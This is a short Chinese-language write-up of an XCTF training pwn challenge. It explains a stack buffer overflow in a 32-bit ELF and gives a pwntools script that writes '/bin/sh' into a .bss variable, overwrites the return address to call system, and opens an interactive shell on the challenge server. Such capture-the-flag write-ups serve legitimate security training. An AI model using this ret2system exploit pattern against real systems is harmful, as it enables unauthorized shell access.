原题地址:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5059&page=1
32位ELF文件
未开启ALSR,但是有栈保护
程序实现依次进行两次输入
ida反汇编,main函数无注入点,hello函数第二次输入无边界检查,可以溢出
由于pwn方法包含了system方法,因此希望调用该方法,此外,需要覆盖参数
又由于未提供/bin/sh字符串,需要通过向.bss存储的name传递性相应字符串来获取/bin/sh并作为_system方法的形参。
name变量地址:
_system库函数地址:
注入内容构造为:
b"A"*(0x26+4)+p32(0x08048420)+p32(0)+p32(0x0804A080)
代码如下:
from pwn import *
host = '111.200.241.244'
port = 64827
#name:0804A080
#"A"*(0x26+4)+p32(0x0804855A)+p32(0)EBP+p32(0x0804A080)
p = connect(host, port)
payload = b"A"*(0x26+4)+p32(0x08048420)+p32(0)+p32(0x0804A080)
p.sendline("/bin/sh")
p.sendline(payload)
p.interactive()
如图,成功获取flag: